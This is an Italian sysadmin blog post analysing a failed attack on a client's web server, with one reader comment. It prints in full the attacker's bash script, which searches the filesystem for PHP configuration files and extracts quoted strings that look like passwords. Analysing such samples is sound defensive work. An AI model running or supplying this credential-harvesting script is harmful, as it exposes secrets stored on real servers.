Analisi di un tentativo di compromissione

Analizzare i tentativi di attacco dei server è sempre un’esperienza istruttiva per il SysAdmin.

Questa notte ho analizzato il tentativo di attacco, abortito per varie ragioni tra cui avere il sistema aggiornato, al server web di un cliente.

L’attaccante ha sfruttato una vulnerabilità di un vecchio script dimenticato per caricare alcuni file, ma poi non è riuscito ad andare molto più in là.

Uno di questi file è uno script shell bash che fa una cosa interessante:

count=0
blankLine=" "
find / -name "*conf*.php" >> PATHS 2> /dev/null
TOTAL=`grep -c . PATHS`
for i in `cat PATHS`;
do
grep -i pass $i > tmp
perl -wne'while(/\x27(.+?)\x27/g){print "$1\n"}' tmp >> pass.tmp
perl -wne'while(/\x22(.+?)\x22/g){print "$1\n"}' tmp >> parole.tmp
count=$[count + 1]
echo -n -e " \r$blankLine\r "
echo -n -e " $count - $TOTAL "
done

Traducendo in italiano, lo script cerca tutti i file PHP il cui nome contiene conf e poi cerca di estrarre le password registrate in quei file.

Autore: Luigi Rosa

Consulente IT, sviluppatore, SysAdmin, cazzaro, e, ovviamente, geek.

2 pensieri riguardo “Analisi di un tentativo di compromissione”

  1. Perdonami se faccio il PMP, ma nel testo tu scrivi «nome inizia con conf», mentre a me sembra che la ricerca trovi “conf” ovunque nel nome.
    Questo perché c’è il carattere jolly prima e dopo.

Spazio per un commento